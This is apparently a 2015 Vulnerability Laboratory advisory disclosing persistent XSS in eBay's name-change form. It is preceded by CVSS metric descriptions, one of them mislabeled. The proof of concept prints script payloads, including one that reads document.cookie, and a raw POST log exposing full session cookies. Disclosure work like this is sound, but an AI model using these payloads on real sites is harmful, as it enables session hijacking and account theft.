The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Document Title:
===============
Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1227
Release Date:
=============
2015-03-24
Vulnerability Laboratory ID (VL-ID):
====================================
1227
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Magento Web-Application (CMS & API).
Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-24: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Application & API
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Two persistent input validation web vulnerabilities has been discovered in the official Ebay Magento Web-Application (CMS & API).
A persistent vulnerability allows remote attackers to inject malicious script codes on the application-side of the affected web-application.
The vulnerability is located in the real `name change` (`Namensnderung`) formular. The input validation of the vulnerable `first- & lastname` does
not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the
change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed
(written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent
and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation
results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or
connected module context.
Vulnerable Module(s):
[+] Startseite > Namensnderung > [Namensnderung]
Vulnerable Parameter(s):
[+] firstname
[+] lastname
Affected Domain(s):
[+] ebay.com
[+] namechange.ebay.*
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.
PoC: firstname
<td><input name="firstname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);"> "><img src="x" onerror="prompt(23);">"></td>
PoC: lastname
<td class="Bullets">
<input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);"> "><img src="x" onerror="prompt(23);">"></td>
PoC: Payload(s)
">%20<img src="a" onerror="prompt(23);">
"<img src="x" onerror="prompt(document.cookie);">
--- PoC Session Logs [POST] ---
Status: Aus dem Cache geladen[Aus dem Cache geladen]
POST http://namechange.ebay.de/ Load Flags[LOAD_FROM_CACHE ] G des Inhalts[-1] Mime Type[unbekannt]
Request Header:
Host[namechange.ebay.de]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://namechange.ebay.de/]
Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D1391608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53271766%5E; dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^; cssg=d0a729021440a62067e10281ff8b9953;
s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGAAFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTKGi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuYW1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgUyhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2OjAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**;
nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAKVQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2IyAMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMyNzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgsREVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAwAJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhDSD8OFMa8uTDhh84*; cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524; npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a56b23d61f96fe2e024155084a4a^; ds1=ats/0; ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJkVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5SQ; secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0niei+BIO3Yw57q3p8I3L/TNtoI*;
shs=BAQAAAUSucEmyAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/NRi+3; ds2=asotr/b1Brzzzzzzzz^; dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286e5fc; ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E]
POST-Daten:
firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
reason_code[NCP]
request_comment[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm]
action[proceed]
Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow (Click Change original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!)
Solution - Fix & Patch:
=======================
The vulnerability needs to be patched in 3 different steps.
1. The input field of the original registration user name change module needs to be restricted on special characters or script codes
2. In the second step the input of the context itself needs to be encoded or secure parsed to prevent further execution of malicious injected script codes as original user name value.
3. The optional third step is to encode already injected strings as original names in the database to prevent executions after the module has been successful updated.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the ebay original name change module is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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